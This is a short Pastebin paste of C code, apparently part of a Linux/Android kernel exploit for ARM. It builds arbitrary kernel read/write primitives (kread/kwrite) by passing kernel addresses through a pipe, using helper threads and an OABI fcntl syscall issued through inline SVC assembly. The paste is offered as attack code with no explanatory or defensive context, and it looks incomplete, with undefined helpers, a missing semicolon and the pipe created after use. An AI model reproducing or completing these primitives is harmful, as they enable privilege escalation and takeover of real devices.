Advertisement
Guest User

Untitled

a guest
Jan 20th, 2019
105
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 1.66 KB | None | 0 0
  1. struct thread_arg
  2. {
  3.     char * buf;
  4.     size_t size;
  5. };
  6. int rw_pipe[2];
  7. struct thread_arg ta_read, ta_write;
  8. int read_asked = 0, read_done = 0, write_asked = 0, write_done = 0;
  9.  
  10. void spin(int *lock)
  11. {
  12.     while(!*lock)
  13.         usleep(1000);
  14. }
  15.  
  16. void *thread_read_pipe(void *arg)
  17. {
  18.     struct thread_arg *a = (struct thread_arg*) arg;
  19.     while(1)
  20.     {
  21.         spin(&read_asked);
  22.         if(read(rw_pipe[0], a->buf, a->size) < a->size)
  23.             syserror("read_rw\n");
  24.         read_asked=0;
  25.         read_done=1;
  26.     }
  27. }
  28.  
  29. void *thread_write_pipe(void *arg)
  30. {
  31.     struct thread_arg *a = (struct thread_arg*) arg;
  32.     while(1)
  33.     {
  34.         spin(&write_asked);
  35.         if(write(rw_pipe[1], a->buf, a->size) < a->size)
  36.             syserror("write_rw\n");
  37.         write_asked=0;
  38.         write_done=1;
  39.     }
  40. }
  41.  
  42.  
  43. int kread(kaddr_t addr,void * buf, size_t size)
  44. {
  45.     if(write(rw_pipe[1], addr, size)<size)
  46.         syserror("write_rw\n");
  47.     read_done = 0;
  48.     ta_read.buf = buf;
  49.     ta_read.size = size;
  50.     read_asked=1;
  51.     spin(&read_done);
  52.     return size;   
  53. }
  54.  
  55. void kwrite(kaddr_t addr, void *buf, size_t size)
  56. {
  57.     size_t ret;
  58.     write_done = 0;
  59.     ta_write.buf = buf;
  60.     ta_write.size = size;
  61.     write_asked = 1;
  62.     spin(&write_done);
  63.     if((ret = read(rw_pipe[0], addr, size))<size)
  64.         syserror("read_rw\n");
  65.     return ret;
  66. }
  67.  
  68. void try_oabi(int dummy, unsigned long r1, char* aa)
  69. {
  70.         __asm__ volatile("SVC #0x9000dd\n\t");
  71. }
  72.  
  73.  
  74. int exploit_to_read_write()
  75. {
  76.     char buf[1000];
  77.     pthread_t tid;
  78.     pthread_create(&tid, NULL, thread_read_pipe,&ta_read);
  79.     pthread_create(&tid, NULL, thread_write_pipe,&ta_write);
  80.     log("calling oabi fcntl...")
  81.     try_oabi(0,36, buf);
  82.     success("Done!");
  83.     if(pipe(rw_pipe) < 0)
  84.     {
  85.         syserror("pipe_rw");
  86.         exit(1);
  87.     }
  88.     return 1;
  89. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement